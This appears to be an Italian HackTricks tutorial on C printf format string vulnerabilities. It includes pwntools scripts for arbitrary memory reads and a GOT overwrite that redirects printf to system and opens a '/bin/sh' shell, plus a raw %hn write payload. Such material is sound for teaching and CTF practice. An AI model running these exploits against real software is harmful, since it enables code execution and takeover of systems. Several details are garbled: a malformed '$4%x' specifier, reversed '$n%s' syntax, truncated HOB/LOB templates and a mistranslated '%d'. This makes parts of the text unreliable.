.. | ||
format-strings-template.md | ||
README.md |
Stringhe di Formato
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
- Lavori in una azienda di sicurezza informatica? Vuoi vedere la tua azienda pubblicizzata in HackTricks? o vuoi avere accesso all'ultima versione del PEASS o scaricare HackTricks in PDF? Controlla i PIANI DI ABBONAMENTO!
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Ottieni il merchandising ufficiale PEASS & HackTricks
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguimi su Twitter 🐦@carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR al repo hacktricks e al repo hacktricks-cloud.
Informazioni di Base
In C printf
è una funzione che può essere utilizzata per stampare una stringa. Il primo parametro che questa funzione si aspetta è il testo grezzo con i formattatori. I parametri successivi previsti sono i valori da sostituire ai formattatori nel testo grezzo.
La vulnerabilità appare quando un testo dell'attaccante viene utilizzato come primo argomento per questa funzione. L'attaccante sarà in grado di creare un input speciale sfruttando le capacità delle stringhe di formato printf per leggere e scrivere qualsiasi dato in qualsiasi indirizzo (leggibile/scrivibile). Essendo in grado in questo modo di eseguire codice arbitrario.
Formattatori:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Esempi:
- Esempio vulnerabile:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Uso Normale:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Con argomenti mancanti:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
Accesso ai Puntatori
Il formato %<n>$x
, dove n
è un numero, permette di indicare a printf di selezionare il parametro n (dallo stack). Quindi se si desidera leggere il 4° parametro dallo stack utilizzando printf si potrebbe fare:
printf("%x %x %x %x")
e leggeresti dal primo al quarto parametro.
Oppure potresti fare:
printf("$4%x")
e leggere direttamente il quarto.
Si noti che l'attaccante controlla il parametro pr
intf
, il che significa fondamentalmente che il suo input sarà nello stack quando viene chiamato printf
, il che significa che potrebbe scrivere specifici indirizzi di memoria nello stack.
{% hint style="danger" %}
Un attaccante che controlla questo input, sarà in grado di aggiungere indirizzi arbitrari nello stack e far sì che printf
li acceda. Nella sezione successiva verrà spiegato come utilizzare questo comportamento.
{% endhint %}
Lettura Arbitraria
È possibile utilizzare il formato $n%s
per fare in modo che printf
ottenga l'indirizzo situato nella posizione n, seguendolo e stampandolo come se fosse una stringa (stampando fino a trovare un 0x00). Quindi se l'indirizzo base del binario è 0x8048000
, e sappiamo che l'input dell'utente inizia nella quarta posizione nello stack, è possibile stampare l'inizio del binario con:
from pwn import *
p = process('./bin')
payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
{% hint style="danger" %} Si noti che non è possibile inserire l'indirizzo 0x8048000 all'inizio dell'input perché la stringa verrà concatenata con 0x00 alla fine di quell'indirizzo. {% endhint %}
Scrittura Arbitraria
Il formato $<num>%n
scrive il numero di byte scritti nell'indirizzo indicato nel parametro <num> nello stack. Se un attaccante può scrivere tanti caratteri quanti ne vuole con printf, sarà in grado di fare in modo che $<num>%n
scriva un numero arbitrario in un indirizzo arbitrario.
Fortunatamente, per scrivere il numero 9999, non è necessario aggiungere 9999 "A" all'input, ma è possibile utilizzare il formato %.<num-write>%<num>$n
per scrivere il numero <num-write>
nell'indirizzo indicato dalla posizione num
.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Tuttavia, nota che di solito per scrivere un indirizzo come 0x08049724
(che è un ENORME numero da scrivere in una volta), si usa $hn
invece di $n
. Questo permette di scrivere solo 2 byte. Pertanto, questa operazione viene eseguita due volte, una per i 2 byte più significativi dell'indirizzo e un'altra volta per quelli meno significativi.
Questa vulnerabilità consente di scrivere qualsiasi cosa in qualsiasi indirizzo (scrittura arbitraria).
In questo esempio, l'obiettivo sarà sovrascrivere l'indirizzo di una funzione nella tabella GOT che verrà chiamata successivamente. Anche se questo potrebbe abusare di altre tecniche di scrittura arbitraria per eseguire:
{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}
Andremo a sovrascrivere una funzione che riceve i suoi argomenti dall'utente e puntarla alla funzione system
.
Come accennato, per scrivere l'indirizzo, di solito sono necessari 2 passaggi: prima si scrivono 2 byte dell'indirizzo e poi gli altri 2. Per fare ciò si usa $hn
.
- HOB si riferisce ai 2 byte più significativi dell'indirizzo
- LOB si riferisce ai 2 byte meno significativi dell'indirizzo
Quindi, a causa del funzionamento delle stringhe di formato, è necessario scrivere prima il più piccolo tra [HOB, LOB] e poi l'altro.
Se HOB < LOB
[indirizzo+2][indirizzo]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Se HOB > LOB
[indirizzo+2][indirizzo]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
{% code overflow="wrap" %}
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
{% endcode %}
Modello di Pwntools
Puoi trovare un modello per preparare un exploit per questo tipo di vulnerabilità in:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
Oppure questo esempio di base da qui:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Formati delle stringhe per BOF
È possibile abusare delle azioni di scrittura di una vulnerabilità di formato delle stringhe per scrivere negli indirizzi dello stack ed sfruttare una vulnerabilità di tipo buffer overflow.
Altri Esempi e Riferimenti
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bit, no relro, no canary, nx, no pie, uso di base delle stringhe di formato per ottenere la flag dallo stack (senza la necessità di alterare il flusso di esecuzione)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, no canary, nx, no pie, stringa di formato per sovrascrivere l'indirizzo
fflush
con la funzione win (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bit, relro, no canary, nx, no pie, stringa di formato per scrivere un indirizzo all'interno di main in
.fini_array
(così il flusso ritorna 1 volta in più) e scrivere l'indirizzo disystem
nella tabella GOT puntando astrlen
. Quando il flusso torna a main,strlen
viene eseguito con l'input dell'utente e puntando asystem
, eseguirà i comandi passati.